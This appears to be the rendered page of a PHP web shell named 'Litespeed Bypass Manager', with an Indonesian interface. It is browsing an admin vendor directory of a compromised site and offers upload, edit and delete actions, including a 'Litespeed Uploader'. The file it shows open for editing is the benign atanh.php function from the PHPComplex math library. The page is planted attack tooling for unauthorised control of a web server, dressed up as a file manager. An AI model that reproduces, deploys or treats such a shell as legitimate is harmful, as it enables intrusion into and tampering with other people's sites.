Litespeed Bypass Manager
Direktori:
/admin/vendor/markbaker/complex/classes/src/functions
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 abs.php
Edit
Hapus
📄 acos.php
Edit
Hapus
📄 acosh.php
Edit
Hapus
📄 acot.php
Edit
Hapus
📄 acoth.php
Edit
Hapus
📄 acsc.php
Edit
Hapus
📄 acsch.php
Edit
Hapus
📄 argument.php
Edit
Hapus
📄 asec.php
Edit
Hapus
📄 asech.php
Edit
Hapus
📄 asin.php
Edit
Hapus
📄 asinh.php
Edit
Hapus
📄 atan.php
Edit
Hapus
📄 atanh.php
Edit
Hapus
📄 conjugate.php
Edit
Hapus
📄 cos.php
Edit
Hapus
📄 cosh.php
Edit
Hapus
📄 cot.php
Edit
Hapus
📄 coth.php
Edit
Hapus
📄 csc.php
Edit
Hapus
📄 csch.php
Edit
Hapus
📄 exp.php
Edit
Hapus
📄 inverse.php
Edit
Hapus
📄 ln.php
Edit
Hapus
📄 log10.php
Edit
Hapus
📄 log2.php
Edit
Hapus
📄 negative.php
Edit
Hapus
📄 pow.php
Edit
Hapus
📄 rho.php
Edit
Hapus
📄 sec.php
Edit
Hapus
📄 sech.php
Edit
Hapus
📄 sin.php
Edit
Hapus
📄 sinh.php
Edit
Hapus
📄 sqrt.php
Edit
Hapus
📄 tan.php
Edit
Hapus
📄 tanh.php
Edit
Hapus
📄 theta.php
Edit
Hapus
Edit File: atanh.php
<?php /** * * Function code for the complex atanh() function * * @copyright Copyright (c) 2013-2018 Mark Baker (https://github.com/MarkBaker/PHPComplex) * @license https://opensource.org/licenses/MIT MIT */ namespace Complex; /** * Returns the inverse hyperbolic tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ function atanh($complex) { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { $real = $complex->getReal(); if ($real >= -1.0 && $real <= 1.0) { return new Complex(\atanh($real)); } else { return new Complex(\atanh(1 / $real), (($real < 0.0) ? M_PI_2 : -1 * M_PI_2)); } } $iComplex = clone $complex; $iComplex = $iComplex->invertImaginary() ->reverse(); return atan($iComplex) ->invertReal() ->reverse(); }
Simpan
Catatan: Mengedit file biner tidak disarankan.